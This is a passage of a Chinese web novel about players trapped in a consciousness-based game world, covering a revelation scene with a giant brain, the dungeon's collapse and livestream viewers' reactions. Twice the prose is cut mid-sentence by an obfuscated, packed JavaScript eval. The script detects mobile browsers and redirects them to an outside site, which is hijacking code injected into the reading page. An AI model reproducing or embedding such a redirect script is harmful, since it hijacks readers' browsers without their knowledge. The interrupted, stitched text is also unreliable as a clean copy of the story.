她曾以为副本的目的是为了杀死他们这些玩家，但如果是这样的话没必要又提供技能又提供线索； 折磨他们、看着他们在希望中陷入绝望？如果是这样的话谁又在舞台之下观赏和欢呼？ 历练他们、筛选他们？可是这场试炼又是为何而准备？ “好吧，江显。那么我先问你一个问题，你觉得自己还活着吗？”巨型大脑漂浮到她面前。 于是江显看到它表面竟充斥着细微而几乎不可见的蓝色电弧。 “先前还有些纠结。但现在我想明白了，至少这一刻我的思维还在活动；我还有机会回到现实里去。” “此中过程并不重要，因为无论如何我都会走到最后。” “你很狂妄，江显。”巨型大脑似乎在笑，“但你的意志的确是所有副本里我见过最为强大的。” “你的直觉没错。此刻出现在副本里的并非是你们的躯体，而是所有玩家的意识，或者专业点来说——大脑的电活动。” “大脑，作为调控人各项生命活动与思维的中枢，电活动一旦停止就意味着脑死亡。这是一种截至目前都被认为是不可逆的状态。尽管脑死亡发生后，机械通气、药物支持、心脏起搏能在表面上维持住人的生命体征，可一旦离开这些依旧是死路一条。” “副本在刺激包括你们所有玩家的大脑电活动，江显。” “它让你感受到惊恐、担忧、庆幸、感慨以及为数不多的喜悦；而在副本解密的同时，大脑一切的思考和整合功能都被上调到了一个平时难以企及的高度。” “正是在这样的刺激下你们的大脑才能持续迸溅出生物电的弧光，唯有这样才能维持住你们已经微弱到极致的脑电波。” “副本在试图救你们。” “只是一旦在副本里死去，你们的大脑也会因为误认为身体已然死去，从而彻底停止活动。在现实里也就真的死了。这就是副本规则里所说的‘抹杀’。” “原来我们的躯体真的还在飞船上。”江显脸上并没有多少惊讶。她思索片刻，问道：“那副本，是以实体形式而存在吗？” “你又如何定义实体？看得见摸得着吗？”巨型大脑反问，“可是即便是无形之物，但凡存在，也必定由无数的粒子构建而成。在微观的世界里，‘空无一物’的空气里群星闪烁。” 这个回答让江显明白了什么，于是她问道：“世界上没有免费的午餐，也不会有平白无故的补偿。大范围的飞船失事和副本有关系，对吗？” “真是什么都瞒不过你。”巨型大脑左右摇晃了一下，“正如你所猜想的那样，你可以将副本的本质视作是一个巨型电磁场。你看不见它，但其中充斥着无数带电粒子。你们人类的意识以微弱电磁活动形式外显时能够被其捕捉并接入其中。” “原来如此。怪不得飞船失事之前遭遇了超强电磁干扰。”江显点点头，“原来那就是副本。” “不，这个副本只是那恢弘电磁场中的一部分。副本之外还有副本。正如星系之外还有星系。”巨型大脑说。 “我知道。”江显说，“现在有无数个背景相似的副本正在进行，而你——也就是最终boss的复苏，将促使所有副本以你为中心而融合。” 巨型大脑不置可否，这让江显有一种她回答错了的错觉。 于是她转换了话题，单刀直入：“任务里的面对面灵魂交流到底是什么意思？” “一场交心的谈话？”巨型大脑说道。 江显没有接话。她觉得这个说法太荒谬了。 “基于以上关于副本本质、功能和特性的解释，现在你应该有充分的理由相信，副本并非要对玩家赶尽杀绝，因此最终boss和玩家进行一场友好交谈又有何不可？”巨型大脑似乎是在发笑。 “你想和我交易什么？”江显冷静地问道。她敏锐意识到眼前的巨脑铺垫了那么久，大概是有求于她。 “你的直觉实在一如既往地让我害怕。”巨型大脑似乎苦笑了一下，因为它的皮层部位开出一朵明亮的蓝色电流花朵，“但我喜欢和聪明人交流。” “我希望当你走出副本回到现实时，能够把这里所发生的一切如实告诉人们。作为回报，我会告诉你副本的成因和真实的过往。” “我不想把这称作为‘交易’，我更愿将之视为‘合作’。这样我们都能拿到自己想要的东西。” 江显挑眉：“你想让我在苏醒后接受媒体采访时，和他们讲一个无厘头又噩梦般的冒险故事？”算了吧，她会被诊断为神经病关起来的。 “我说的不是副本主线或是支线剧情。” “副本不是完全虚假的。”江显用肯定的语气说。 从陆寰无意间提过一次绿松石星真实存在时，她就隐隐有这样的推测。这也是前俩天傍晚时她反复纠结自己存在形式的直接原因。 “整个主线故事都是虚假的，但却含有隐喻意义，副本里发生过的一切都真实存在和有迹可循。”巨型大脑说道。 “我希望你在回到现实后，把隐藏的真相公之于众。为了保证你能够顺利离开虚幻之地，与之相应地，我会让你成功通关这个副本。” “成交。”江显爽快地伸出手。然后她的手上凭空绽开一朵电流花朵。或许巨型大脑在画押，她想。 “合作愉快，江显。”巨型大脑说。 这一幕总觉得有点儿眼熟。江显想起来外面还有人在等她。 “在向你讲述副本的成因之前，我必须告诉你这一切发生的前置条件。” “整个绿松石星的上空都被一个强度极其恐怖的电磁场包绕，它使得整颗星球就像是一根缠了无数线圈的通电螺线管。或许这也是为什么在我们死亡后，尚未完全消逝的脑电波被其捕捉并俘获，演化成副本和无数npc吧。” “你们真的在绿松石星上！”这下是真的超乎江显的预料了。她记起之前陆寰也讲过，绿松石星周围的一整片都是禁飞区，可倘若是这样的话这些npc又是如何过去的。 “那个星球的电磁场，强大而具有某种规律。我不得不有些惭愧地告诉你，我们也不知道它到底是什么。” “我和我的同伴们都是负责通信方面的技术工人，故事的起因要从一次秘密任务开始。那是3025年的春天，我们受雇于一家大型的跨星球公司，前往绿松石星表面布置虚拟覆盖图像。” “那是一项规模空前的任务。我们要在整颗星球表面安装几百万个光学成像单元，所有单元组合成一个矩阵，它们的图像信号被同步卫星轨道高度处的设备接收并显像与融合，然后为整颗星球镀上一层绿色的外套。” “【永不凋谢的翡翠冠冕】？？？”江显瞳孔一缩。 “是啊。”巨型大脑舒展了一下，江显看到它顶端弧光闪烁，“那就是我们在星球表面种下的蔽日的、虚假的树木。” “在我们抵达之时，我们惊奇地发现，传闻中荒芜而原始的绿松石星表面竟充满了复合金属停泊港与航站楼。我们无从得知它们从何而来，也不敢私自揣测与分析。在任务之前我们都签署了保密协议，那颗星球上发生的一切我们都不能私自传播，即便是家人也不行。” “那时候参加这一浩大工程的大概有几万人。我们要在十年的时间里完成所有成像单元的布置。” “自降落那一刻起，我的内心就潜藏着一个挥之不去的疑问：为何我们要去为一颗‘无人’的行星上布置伪装涂层？为何星球上会有那么多的遗迹？又为何在我们完成伪装之前，那颗行星在太空里看上去就已经是绿色的？我不敢提问，也不敢回答。” “再后来，汉斯在工作时意外从空中坠落身亡。于是我们也意外发现了这颗星球最大的秘密。” 江显神色凝重：“是什么？” “地下城。江显。那些金属的停泊港下面藏着一座废弃的地下城。”巨型大脑说道，“它距离金属表层有足足千米的高度，在城市里抬头仰望时你会以为金属表层就是虚假的天空。” “再后来，合作公司不知从何途径获知了汉斯的死因和经过。为了防止这一秘密的泄露，他们决定杀我们灭口。于是他们以‘防止未知生物感染和辐射扩散’的原因停止了补给，再后来切断了通讯。” “再然后…………” “【我们被冻在了春日汹涌的绿色潮水之中】” 江显和巨型大脑异口同声，说出了这句话。 “那可是几万人。”江显不可置信地摇摇头。她从未想象过，在星际时代这样科技极度发达的年代也会出现如此魔幻的事情。 “文明的发展洗不去人类骨子里的劣根性，智慧的开化也只不过是让赤裸裸的争斗隐藏于得体的遮羞布下；而科技——科技的进步只不过是让一切变得更为隐匿与轻而易举。”巨型大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14286237|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑说道，“那几千万年过去了，我们依旧是互相吞噬的蠕虫。” “自星际时代开启以来，人类已经在数百万的星球上繁衍生息。你在学校里一定学过生物的‘J型增长’模型吧？迄今为止星际的总人口依旧逐年激增，没能在前方看到拐点。几万人，不过是一个可以忽略不计的零头罢了。”巨型大脑说。 “在那之后呢？”江显问道，“在你们被抛弃在那里之后呢？”她似乎隐隐地猜到了什么。 “这很难猜吗？”巨型大脑反问，“当陷入绝境、生命受到威胁之后，一切伦理和道德的约束都不复存在，于是我们又是原始而残忍的蠕虫了。” “好极了，那可真是太符合副本的主线剧情了。”江显说道。她听不下去了，她已经无法想象那些充满血腥和暴力的往事了。 “在我们小队里，我是活到最后的那一个。最后的食物也耗尽后的两周，我的全身器官衰竭了，我以为我必死无疑。” “我的意识开始模糊，我知道我要死了。但是那时候我听到了很多人一起说话的声音，那声音直接在我的脑子里响起。” 江显皱眉：“那又是谁？” 巨型大脑说：“我不知道。但是那个声音问我，愿不愿意加入他们共同编织的世界，成为那里的一份子。” “在那里，一切已经消失的同伴都会重新出现在我面前。那里没有死亡，没有分别。他们不会记得现实里真正发生在绿松石星上的惨案，只会被预设好副本剧情里的记忆，会一如既往地以为我是他们的好队长。在那里，我们将重获新生。” “他们只是残余意识碎片附着于我大脑记忆里的虚影；而我，我只是一条被困在这张电磁巨网上的、无时不刻缅怀过去的意识蠕虫。” “这才是副本形成的真相。” 江显被这巨大的信息量所震撼了，迟迟说不出话。 “其他副本，也同样遵循着这样的模式和规则吗？”她问。 “是。”巨型大脑说，“有时我会觉得悲哀。我带着愧疚、忏悔、思念，种种复杂的心理看着副本里一切的发生。我觉得自己太过可笑，徒劳地捏造着早已不复存在的假象。” “对于你在现实里为了生存所做的一切我无法评价。”江显垂下眼，“但是如果世界上有一种方法能让已逝之人长久重现于眼前的话，我也会舍弃所谓真假与伦理，义无反顾地尝试它。” “我很抱歉，江显。”巨型大脑说。 江显觉得自己一定是产生错觉了，否则她为何会从一个素不相识之人的意识里听出深深的同情。 “你不是霍列斯。”江显抬起头笑道，“霍列斯不用这种语气说话。一个科考队派出的技术工人很难会有这样的多愁善感而充满文艺的感慨——虽然这听起来有点刻板印象。” “是啊。霍列斯只是我的一部分。我只是以他为主导的、这颗星球上真实逝去的、所有死者的意识集合体，再加上一些别的成分。”巨型大脑说，“我被沉重的记忆所束缚，就好像你似乎也在囿于过去。” “我答应你的请求，会将这里发生的一切如实公之于众。”江显说，“所以现在可以告诉我如何通关了吗？” “彻底毁灭我。”巨型大脑语出惊人。 “厌倦了这样虚假的自欺欺人吗？” “不，只是最后的心愿最终得以实现。”巨型大脑回答。 它似乎另有深意。但江显琢磨不出。 于是江显问：“我该怎么做？” “把你的手放在这颗大脑的皮层表面。然后这里的一切都会随着整个副本中枢，也就是最终boss的消失而归为虚无。 江显毫不犹豫地将手触上了巨型大脑的表面。 她的手指与那些纵横的沟壑贴合，她甚至惊奇地看到那上面留下了一个自己的手印。 然后以她的掌心为起点，裂纹沿着她张开手指的指尖弥散，很快遍布整个大脑表面。 手掌下迸溅出一团深蓝色的电光，江显觉得自己似乎被电了一下。但这一次它没有立刻熄灭，而是不断汇集和增强，愈发明亮和猛烈，整个大脑都开始在“滋滋滋”的声响中颤抖和痉挛。 疯狂的电流席卷了整颗大脑，光芒盛大，像是颗燃尽寿命即将爆发的超新星。 “你很急不可耐，连一分钟都不肯等。”巨型大脑似乎在责怪她。 “有人在外面等我。”江显言简意赅。 然后她头也不回地朝树洞出口走去。 江显从树洞里走向盛大的阳光。她眯起眼俯视，视野里翡翠似得碧海正在荡漾，一茬茬的浪头缩略成细微的波纹。 科考船还在几十米开外的地方等着，甲板上苏乐和陆寰的人影正在晃动，渺小得像是漂浮在空气里的尘埃。 江显从巨树上直直跃入海中。 碧海的鳞光在她眼前闪烁和加强，直到白光吞没她的视野。然后水流阻塞了她的听觉，她的身旁再次被海水包绕。 在她身后巨树的树洞里，巨型大脑的轮廓已经模糊和扭曲，密集而强烈的蓝色电弧遮蔽了一切，整个树洞都被湮覆于电光之中。 “后会有期，江显。”绚烂而绮丽的蓝色电光说。 32. 新生 陆寰似有感应地朝着天空抬头。下一刻，他恰好看到那棵巨树高处的树洞里正爆发出强烈的光芒。然后爆炸的巨响紧随其后传入他的耳朵。 陆寰若有所思。 “把船开到巨树下面。”他转头走进驾驶舱，对幽灵说道。 “江显呢？她到底发生什么了？怎么巨树爆炸了？”苏乐紧跟在他身后，满脸担忧。 “不出所料的话，江显已经通关了副本。”陆寰回答。 他话音刚落，耳旁响起系统提示： 【恭喜玩家江显通关副本-失落之海！（此公告全体玩家可见）】 【副本屏障已消失，全部副本融合。各副本玩家共享通关奖励！】 【预计脱离副本倒计时：5分钟】 “啊？”苏乐还迷糊着。她简直不敢相信这是真的。 她震惊地张大嘴久久无法平复内心波澜，一旁陆寰已经在幽灵的指导下抛出了船上的救生绳索并放下了梯子。他们就这样一路朝着巨树的方向进发。 不久后穿着潜水服的江显拉住绳索冒出水面，她顺着梯子往上爬，扒拉着甲板翻上了科考船。 苏乐赶忙跑过去摘她的潜水面具拆氧气瓶。她看到江显透过潜水镜冲她露出笑容，手上还比了个胜利的手势。 “怎么样了怎么样了？”苏乐追着问。 “顺利收工。”江显笑道。 潜水面具被摘下了，阻隔她视野的最后一道屏障也消失了。江显看着澄澈无比的天空，大口呼吸着新鲜空气。 幽灵船员不知何时从驾驶舱飘到了甲板上，江显没想到他居然还能离开控制系统跑到这儿来。这让她下意识有些心虚。 “你找到船长了吗？”幽灵船员幽怨地看向她。尽管这种眼神对于一个幽灵来说并不算太过分。 江显不知道该如何回答他。 “他消失了。”最后，她善意地藏匿了真相。一个马上要随着副本一起消失的幽灵没必要知道那么多的不幸。 “所以，直到最后也没帮我问出个所以然，为什么他要让我们存活于幻境之中？” 江显没有吱声。幽灵船员以为这场盛大幻境是从他所代表角色的死亡才开始，殊不知整个副本都只是一个充满隐喻的恐怖故事。他连记忆都是假的，却想要追溯本源和真相。 幽灵愈发激动了：“他凭什么要把我们变成不死的幽灵？凭什么要让蠕虫吞噬和代替我们？如果连记忆都是伪造的，那么用蠕虫捏造成我们的样子又有何用？我不明白！我无法接受我们的身体全部由读取了动植物意识的蠕虫构成。” 江显缓缓开口：“你说蠕虫是恐怖的单位，可是构成我们身体本身的本就是无穷无尽的微小单元。分子、质子、原子、电子…………你说蠕虫彼此不断吞噬和融合，可是就连微观世界里的分子和原子也在永不停歇地分裂与重组。” “那些蠕虫……或许你可以将它们视为另一种微小单元。也许船长只是……想以另一种方式拼接和组装你。”这么说着时，江显觉得自己的说辞苍白又无力。 “是这样吗？”幽灵问。 “是这样的。”江显笃定地说道。 幽灵低下了头。他那只有头颅的影像正在变淡和透明。 “我还以为是你成功说服了霍列斯，他决心放我们的意识自由，这才让我能够离开船舱而活动呢。”幽灵说，“到头来，原来是我要和这里的一切一起消失了。” 他就那样萎缩成一小块一小块的光斑，最后化为了星星点点的淡蓝色碎片，直至消散在空气里。 江显转头看过去，那里和天空一样干净。 她从甲板上挣扎着爬起来，只觉得浑身酸痛。 他们头顶上，巨木正在断裂和崩摧，分支在接二连三的嘈杂巨响声里纷纷横空腰斩，然后主干一截一截地矮下身去。最后一切都像是话剧结束时的幕布一样坠落，又在砸向他们之前化为纷飞的白色碎片朝空中升去，像是阳光下一整片向日飞翔的蒲公英绒毛。 “真美。”江显感叹道，“一切像是水汽一样消散了。” “也或许，只是蠕虫化为了蝴蝶。”陆寰不知道何时靠到了她的身边，这样说道。 【最后倒计时：10，9，8……】 副本正在崩塌，海洋和天空都像是故障显示屏一样在一格一格熄灭像素。三个死里逃生的人却这样惬意又诗意地凝视着远方，感受着迎面戛然而止的微风和不断暗淡的和煦日光。 在他们脚下，科考船正在消失，很快更底下海水也被擦除。 然后他们被空洞吞没，虚无蔓延上高空，世界只剩黑暗。 * 巨浪一波又一波的袭来，凶悍的树枝夹杂在其中偷袭着，整艘船都像是一片岌岌可危的树叶，下一秒就会被浪头打到海里去。 “让幽灵船员把发动机开到最大！调整桅杆！”甲板前方，一身黑色作战服的年轻女孩喊道。 她身形高挑修长，贴身的作战服勾勒着紧实而流畅的肌肉线条，只是站在那里就给人极其强大的压迫感。 “我已经说过了，可是那该死的幽灵说这船就这个配置！见鬼！我们得在船沉之前想想别的办法！”说话的是一个金发碧眼的年轻男人，长相斯文戴着副金框眼镜。或许在别的场景下他会给人一种接受过良好教育的精英感，但此刻他头发凌乱脸上沾满水渍，只剩下狼狈的份了。 他话还没说完，眼前银光一闪，一条朝他迎面跃来的【裂齿鬼鱼】应声断尾两截。年轻女孩不知何时竟已残影般逼至他身旁，再现形时手上凭空多出俩柄寒光闪烁的长刀。 空气中的寒芒似乎还未消散，凌冽的气流让他全身起鸡皮疙瘩。 “看着点，克莱茵。要是你在玩炸药把自己炸死前被怪鱼吃了，那可太没意思了。”年轻女孩从他身旁擦肩而过，重新回到船头的位置。 克莱茵紧张地吞了口口水。但他下一刻毫不犹豫地跟着女孩往船头去了。这几天的副本里他已经深刻认识到，跟在奥菲莉娅——这位人形兵器身旁才是最安全的。 巨浪正在不断地拔高，每一浪峰朝他们滑行过来时他们都唯有被高涨的浪潮托上高空，又重重地摔下海面。坠落的海水沉沉砸在船上，甲板上水流如注像是下了场暴雨。 奥菲莉娅手起刀落，半径三米内的海水都被她劈砍成无数细碎的雨点斜飞出去，雾蒙蒙地消失在空气之中。这一场暴雨落下后她身上竟没有一处是被淋湿的。 鱼群正蜂拥着跃上船面，它们张大了嘴巴，利齿咔哒咔哒作响。如此密密麻麻的怪鱼实在是让人头皮发麻。 “现在该怎么办啊，现在该怎么办啊啊啊啊！”克莱茵一边哀嚎一边朝怪鱼登陆的地方扔各种奇怪的东西：不知从哪找的瓶瓶罐罐、打火机……这些小物件除了把怪鱼砸得头昏眼花之外还把栏杆撞得“哐哐”响。 奥菲莉娅再也仍无可忍，下一刻长刀脱手直接朝那些怪鱼飞去。十几只怪鱼在这一击里齐刷刷化为两半，然后刀刃势头不减，将剩下的怪鱼朝一个方向扫过去。 “砰！”瓶瓶罐罐滚到海面后炸开，橘红的火焰冲天而起，到处都是怪鱼被烧焦的刺鼻气味。 整艘船都在小型爆炸里猛烈一抖。俩人失去平衡摔在地上，甲板的破碎残片正在他们身旁掉落。 “这次又是什么？”奥菲莉娅问。 “船舱医务室里消毒的医用酒精。”克莱茵把眼镜扶正说，“之前用蒸馏的方法给它们提纯了一下。但我觉得威力一般般，或许我们可以考虑使用油舱里的燃料。真到了最后我们也可以考虑把整艘船都引爆。” “噢，真是见鬼。”奥菲莉娅从地上站起来去捡长刀，“星际分裂分子们会很乐意聘请你去做技术顾问的，爆破狂人。” “不到最后一刻谁也不想那样。”克莱茵眼里闪着不甘心，“只可惜我们竭尽全力也只完成了一条半支线，对于整个副本的了解都仅浮于表面。解谜这样的活动实在不适合我们。” 他们前方，树木的枝条借着海水的推动朝他们横扫过来，密密麻麻像是无数恐怖的海蛇。 “给我一个你的自制小玩意儿，快！”奥菲莉娅厉声喝道。 克莱茵从背包里掏出一个圆球递过去：“它有名字的！它的名字叫做……” 奥菲莉娅用刀身将圆球朝那些树枝的方向击打过去：“等消灭了这些东西再讨论名字的事情吧！” 金属圆球精准落在那些树枝中央，两秒后火焰席卷了一切，海面上爆发出十几米高的喷泉，大片大片的海水在高温里蒸发成浓密的白雾。 “还挺好用。”奥菲莉娅挑眉，“只是形状看着有些眼熟。” “噢， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14323916|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是因为我把金属门把手拆了下来，里面掏空放上压缩饼干里榨取出来的食用油，再自制一个□□就行了……” “还有吗？”奥菲莉娅再次伸手。 “不多了，省着点用。”克莱茵一副忍痛割爱的神情。 随后，浪花喷泉接二连三地盛开，海面上像是正在进行一场盛大的喷泉演出。 “没有用，这些树枝好像无穷无尽。”奥菲莉娅皱着眉将一只朝她张开大嘴的怪鱼切成鱼片。 “看来现在或许真的只有炸船这一选项了。”克莱茵叹气道，“真的有谁能通关这样的副本吗？连你这种第一天就怒杀5个npc的高手也不行啊。” 奥菲莉亚没有理他，现在她的身边躺了一堆裂齿鬼鱼，它们重新变为蠕虫又消失不见。 杀不完，根本杀不完。奥菲莉娅想。就算她是一具精密到极致的杀戮机器，也承受不住这么长时间的高负荷运转。 刚开始进入副本时，奥菲莉娅心里毫无一点波澜。从小被作为杀手训练长大的她精通各种冷兵器和热武器的使用，即便科考站装备简陋也没能阻拦她第一天就不由分说一穿五的脚步。 可是随着副本的进展，她愈发觉得茫然：为什么那些被她杀死的npc会一而再再而三地出现？它们不会死亡吗？ 再后来，他们小队又遇到了怪鱼和诡异的树木，除了她和一个爆破怪人外全军覆没。这里动植物的每一样行为模式都打破了她的认知。 奥菲莉娅麻木了。她已经很久不做噩梦了，一个合格的杀手能在刀刃沾血后踏踏实实睡个好觉，第二天扛着伪装成大提琴包的刀匣和狙击枪再度上阵。但是这个副本却让她天天夜里辗转反侧、寝食难安。 她头一次陷入了这样的绝望。 “我挡住这些怪鱼，你去油舱引爆。”她头也不回地喊道。 克莱茵似乎也明白他们已然走投无路，朝船舱内跑去。 “噢，对了，那不叫什么‘自制小玩意’，那叫‘爆栗’！”他没忘了这茬事，大声喊道。 然后他冲进船舱，一路跌跌撞撞下行到幽暗的油舱。 克莱茵突然很想哭，他想起以前在大学学化学时和几个朋友满嘴跑火车，说以后大家都研究高威力炸药，然后用在自己的遗体火化上，看谁的骨灰炸得更碎更均匀更彻底。现在他还没老呢，就要抢先赢得比赛了。 死在副本里，也不知道那帮废柴们还能不能见证结果并给予客观评分。 甲板上，奥菲莉娅看着周围不断逼近的怪鱼和枝条，深吸了一口气。 她的心跳已经飙升到了恐怖的速度，训练有素的杀手再如何顶尖也终归是人类之躯。现在她的呼吸和身体都已经沉重，那是短时间难以恢复和代偿过来的。 她觉得那些扭曲缠绕的枝条和中间镶嵌的怪鱼像是一只诡异而硕大的花圈。她悄悄前去过许多受害者的葬礼，有时人们会给死者送这样的东西表达缅怀与尊敬。她远远地观望注视着这一切时也会忍不住考虑一个问题——谁会为我献花。 现在她得到那个答案了。 怪鱼们开始摩擦它们的牙齿，它们的尾巴在甲板上压缩，鱼鳞像是盔甲一样沙沙作响；树枝缠绕、试探、疯狂地延申。 大战一触即发。 就在这时—— 【恭喜玩家江显通关副本-失落之海！（此公告全体玩家可见）】 【副本屏障已消失，全部副本融合。各副本玩家共享通关奖励！】 【预计脱离副本倒计时：5分钟】 弹射而起的怪鱼在奥菲莉娅眼前仅几寸的地方凝滞，然后像是被放入了碎纸机的纸张那样碎裂成无数小片。 奥菲莉娅有些愕然。 蓄势叠加的浪潮在一瞬间溃不成军，违反了惯性定律一样直直地坠入海中。奥菲莉娅太过惊讶，以至于这一次她没有来得及挡住那些飞溅的海水。 浑身湿透的感觉让她清醒过来，她扭头看向远方的某一点，那里有一颗参天的巨树正在一截一截消失，像是一座倒塌的高塔。 这个副本的海面正在重归于平静，阳光照耀在身上仿佛刚刚的一切只是一场噩梦。 “江显吗？”奥菲莉娅默念着这个名字，作思考状。 没能亲眼见一下这位玩家真是太遗憾了。她想，有机会一定要结识一下。 33. 残响 当第一个浪头打上树根，星际直播平台炸开了锅。 [怎么回事，怎么海水翻涌起来了？] [我知道了，这就是江姐之前预料过的“所有副本融为一体，海水作为介质相互流通”！就是捉迷藏之前她的那些分析！] [我的天哪，江姐也太神了！她是怎么从蛛丝马迹里得出那么多正确结论的？换我来早就被什么果实，蠕虫，鱼类，npc搞晕了。我根本不懂啊，之前在船舱发现幽灵船员后一顿酷酷分析我也不懂啊，有好心人解释一下吗？] { [给楼上盘一下这个副本讲了什么。故事背景是一群人来到异星球用转基因树木处理污染，但是因为莫名原因，一种白色的蠕虫顺着食物链在不断传递。] [传递顺序如下：蠕虫寄生怪鱼——树吃掉怪鱼——树木结出带有蠕虫的果实——果实掉落树干间隙被海里怪鱼吃掉，如此循环。在这过程中，树木因为蠕虫而变异，将海面密封了起来，于是科考船被困在了树林里，成为了一开始的科考站。] [但其实真相是，变异的鱼和变异的树木以及凭空多出来的变异果实都是“白色蠕虫”模拟出来的，并不是真正的本体。白色蠕虫吞噬了这些生物并读取它们的电活动形式（或者说是意识），然后伪装成它们的样子。] [这就是为什么副本里的树木、怪鱼、以及npc都会具有一部分蠕虫的特性（自相残杀），因为它们都是由蠕虫搭建起来的。] [在最初蠕虫没有获得人类的脑电波，没法模拟人类。但是后来意外让一个叫做汉斯的船员不幸被果实里的蠕虫吞噬。与此同时由于整支队伍被遗弃在这颗星球上只能等死，于是向导（也就是船长，或者叫霍列斯）和那棵具有部分智慧的巨树坐了个交易。] [交易内容是：同意让白色蠕虫变成的怪鱼吞噬npc们，这样白色蠕虫就能通过深度学习和研究人类的大脑活动，然后为整颗星球构建一个类似人类大脑的神经系统，让整颗星球产生意识。同时，被吞噬的npc们将以另一种生命形式存活，永不死亡，船长永远不会失去他的船员们。] [这就是江显他们副本的主线故事。其他副本的完成度太差了，推不出来。但是既然副本大背景相似，我猜应该大差不差吧。] } [感谢楼上课代表给我这个差生补课] [我的天，好多队伍这是毫无准备啊，根本就没有想到科考站是一艘船这一点，这可在劫难逃了！] [害，也不是人人都像是江姐那么高智商的。] 当看到江显指挥着船靠近巨树，跃入漩涡中时，所有观众更是眼睛都直了。 [我去，这又是什么我看不懂的操作？] [是因为之前发现鱼可以从管道里到达树顶端吧？可是树顶端不是消化器官吗？江姐这样上去不会被消化掉吗？] [你真是傻！你自己想，这些树是由什么模拟而成的？蠕虫！蠕虫的特性是什么？读取和模拟大脑活动！这里的消化器官肯定是一颗大脑啊！] [啊？可是这样一来的话，江姐难道不会被巨树吞噬掉意识吗？] 观众们纷纷担忧起来。他们转去其他直播间一看，心更是凉了半截。 [天哪，这些玩家都要被怪鱼和树枝耗死了啊，这些小怪层出不穷怪难受的。] [我已经看到好几个侥幸登上船的队伍翻船了。江显他们剩下俩个队友千万别出事啊] [他们好得不能再好了。要知道他们队伍可是唯一完整解谜的，对于各种boss的特性都一清二楚。] [说起来也好奇怪，他们怎么就把每种怪物特性捋得一清二楚啊！？] [你是不是忘了他们队里有江姐这个人形X光仪器的存在啊！一个照面就识别出来了。] 再后来，观众们亲眼见证了江显沿着树木内的管道上行，被吸进树洞内。然后那个诡异的巨型大脑就那样以违反物理常识的样子飘了过来。 他们看到江显与它镇定地对话、交易、然后在它的要求下将它毁灭。 副本成功通关的公告出现的那一瞬间，直播间里静谧无声。 巨型大脑所讲述的真相让所有人都有一种不真实的感觉。 许久之后，终于有人开始试探着说话： [你们怎么看……那颗脑子说的是真的吗？真的有那么多人悄无声息地死在了绿松石星上吗……] [我觉得不像是假的。绿松石星从太空里看确实是碧绿的，可是那附近一整片都是禁飞区，这很难不让人怀疑是在有意掩盖什么吧？之前没人注意时倒是还不觉有什么，巨型脑子这么一说还真对上了！很可能那绿色真的就只是人工伪造的外层！而想要藏匿真相的人为了避免那里的一切被泄露出来，杀人灭口了！] [听那巨型大脑这么说的话，那副本是不是可以通俗解释为“所有受害者怨念的集合”？就是那些人被活活害死在星球上无人知晓，他们的怨念让他们仍然存活于副本之中，并且经过润色和修饰后将整个经历改编成了副本主线剧情？] { [楼上说得没错，通俗解释起来这样子没问题。在下神外牛马一枚，在这里重新用科学的语言给大家解释一遍：首先我们都知道，人的大脑奥妙无穷，我们至今无法研究清楚它的全部机制；但可以明确的是——大脑电活动可以以电磁波的形式呈现和被检测，这就是脑电波脑电图的原理。当我们在思考和干不同事情时，脑电图也会变化。这些死者的强烈大脑电活动被星球上一个未知的强磁场（暂时这么说吧）感应和捕捉，并成为其中的一部分。于是那些死者生前的记忆（你们所说的执念）也以某种特定的电活动呈现出来，这就是副本的基本形成机制] [而那些玩家，我们现在已经可以确认他们就是那些失事飞船上的乘客们。他们本身的大脑已经濒临不可逆的死亡，但是大脑电活动同样被包含着副本信息的磁场检测到，于是参与和接入其中（通俗来讲就是他们的意识进入了副本，身体还在飞船上）。] [同时，副本的惊险剧情不断刺激着他们的大脑活动，使之免于脑死亡的结局。但是那些在副本里死去的玩家，大脑“默认”他们死亡，于是他们在飞船里的身体也就真的死亡了。] } [感谢楼上大佬的讲解，豁然开朗啊。我家孩子今年高考，我也送他去学医。] 神外牛马秒回：[楼上是和您家孩子有仇吗？] 又有人问：[大佬大佬，我再请教一下，那是不是从某种意义上来说，绿松石星球上的电磁场真的就像副本里的蠕虫那样，在为整颗星球模拟一个大脑？] 神外牛马：{[目前来看这样的猜测具有一定道理。这就可以解释为何副本直播能够精准反馈每个人的画面，并在“个人”和“小队”之间迅速切换。因为它在展示给我们之前已经经过了这颗“大脑”中枢的信号处理。] [不过这个说法还有待进一步考证，大家暂时不要胡思乱想和传播谣言。]} 他虽话是这么说，但反而更加激起了观众们的无限好奇和擅自猜测。 [天哪天哪大佬没有否认，这不会是真的吧？] [之前提出什么“眼睛一睁一闭大脑学说”的那位大师呢，我给您赔个不是，小人有眼不识泰山嘲笑您的理论。大师人还在吗这次有何高见？] [我勒个老天，不会是无数的怨念形成一个新的怨灵生命了吧？它是要向迫害他们的人复仇吗？] [都星际时代了，别封建迷信了。] ………… 有观众的关注点则在别的地方：[那岂不是说，江姐他们实际上都濒临死亡吗？太心疼江姐了。看她那么情绪稳定我还以为她状态很好，一直特别佩服她呢。没想到她的本体居然在出事飞船里生死未卜……幸好江姐成功通关了！希望她早日康复呀！] 